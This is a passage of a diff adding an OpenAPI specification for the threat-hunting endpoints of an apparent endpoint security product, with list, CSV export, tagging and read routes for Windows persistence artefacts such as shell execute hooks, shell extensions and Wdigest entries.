+      operationId: data_investigation_hunting_WdigestAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WdigestAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WdigestAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/WdigestAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WdigestAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Wdigest'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WindowsShellExecuteHook/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellExecuteHook_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsShellExecuteHook'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellExecuteHook/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WindowsShellExecuteHook_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellExecuteHook/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WindowsShellExecuteHook_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/WindowsShellExecuteHook/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellExecuteHook_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsShellExecuteHook'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WindowsShellExecuteHookAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_WindowsShellExecuteHookAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsShellExecuteHook'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellExecuteHookAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WindowsShellExecuteHookAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellExecuteHookAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WindowsShellExecuteHookAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/WindowsShellExecuteHookAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellExecuteHookAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsShellExecuteHook'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WindowsShellExtension/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellExtension_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsShellExtension'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellExtension/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WindowsShellExtension_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellExtension/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WindowsShellExtension_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/WindowsShellExtension/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellExtension_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsShellExtension'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WindowsShellExtensionAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_WindowsShellExtensionAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsShellExtension'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellExtensionAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WindowsShellExtensionAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellExtensionAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WindowsShellExtensionAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/WindowsShellExtensionAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellExtensionAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsShellExtension'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WindowsShellIconOverlayIdentifier/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellIconOverlayIdentifier_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsShellIconOverlayIdentifier'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellIconOverlayIdentifier/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WindowsShellIconOverlayIdentifier_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellIconOverlayIdentifier/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WindowsShellIconOverlayIdentifier_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/WindowsShellIconOverlayIdentifier/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellIconOverlayIdentifier_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsShellIconOverlayIdentifier'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WindowsShellIconOverlayIdentifierAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_WindowsShellIconOverlayIdentifierAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsShellIconOverlayIdentifier'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellIconOverlayIdentifierAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WindowsShellIconOverlayIdentifierAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellIconOverlayIdentifierAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WindowsShellIconOverlayIdentifierAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/WindowsShellIconOverlayIdentifierAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellIconOverlayIdentifierAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsShellIconOverlayIdentifier'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WindowsShellLoadAndRun/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellLoadAndRun_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsShellLoadAndRun'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellLoadAndRun/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WindowsShellLoadAndRun_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellLoadAndRun/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WindowsShellLoadAndRun_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/WindowsShellLoadAndRun/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellLoadAndRun_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsShellLoadAndRun'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WindowsShellLoadAndRunAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_WindowsShellLoadAndRunAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsShellLoadAndRun'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellLoadAndRunAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WindowsShellLoadAndRunAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellLoadAndRunAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WindowsShellLoadAndRunAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/WindowsShellLoadAndRunAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellLoadAndRunAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsShellLoadAndRun'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WindowsShellServiceObject/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellServiceObject_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsShellServiceObject'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellServiceObject/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WindowsShellServiceObject_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellServiceObject/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WindowsShellServiceObject_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/WindowsShellServiceObject/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellServiceObject_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsShellServiceObject'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WindowsShellServiceObjectAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_WindowsShellServiceObjectAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsShellServiceObject'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellServiceObjectAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WindowsShellServiceObjectAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellServiceObjectAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WindowsShellServiceObjectAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/WindowsShellServiceObjectAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellServiceObjectAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsShellServiceObject'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WindowsShellServiceObjectDelayLoad/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellServiceObjectDelayLoad_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsShellServiceObjectDelayLoad'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellServiceObjectDelayLoad/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WindowsShellServiceObjectDelayLoad_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellServiceObjectDelayLoad/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WindowsShellServiceObjectDelayLoad_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/WindowsShellServiceObjectDelayLoad/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellServiceObjectDelayLoad_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsShellServiceObjectDelayLoad'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
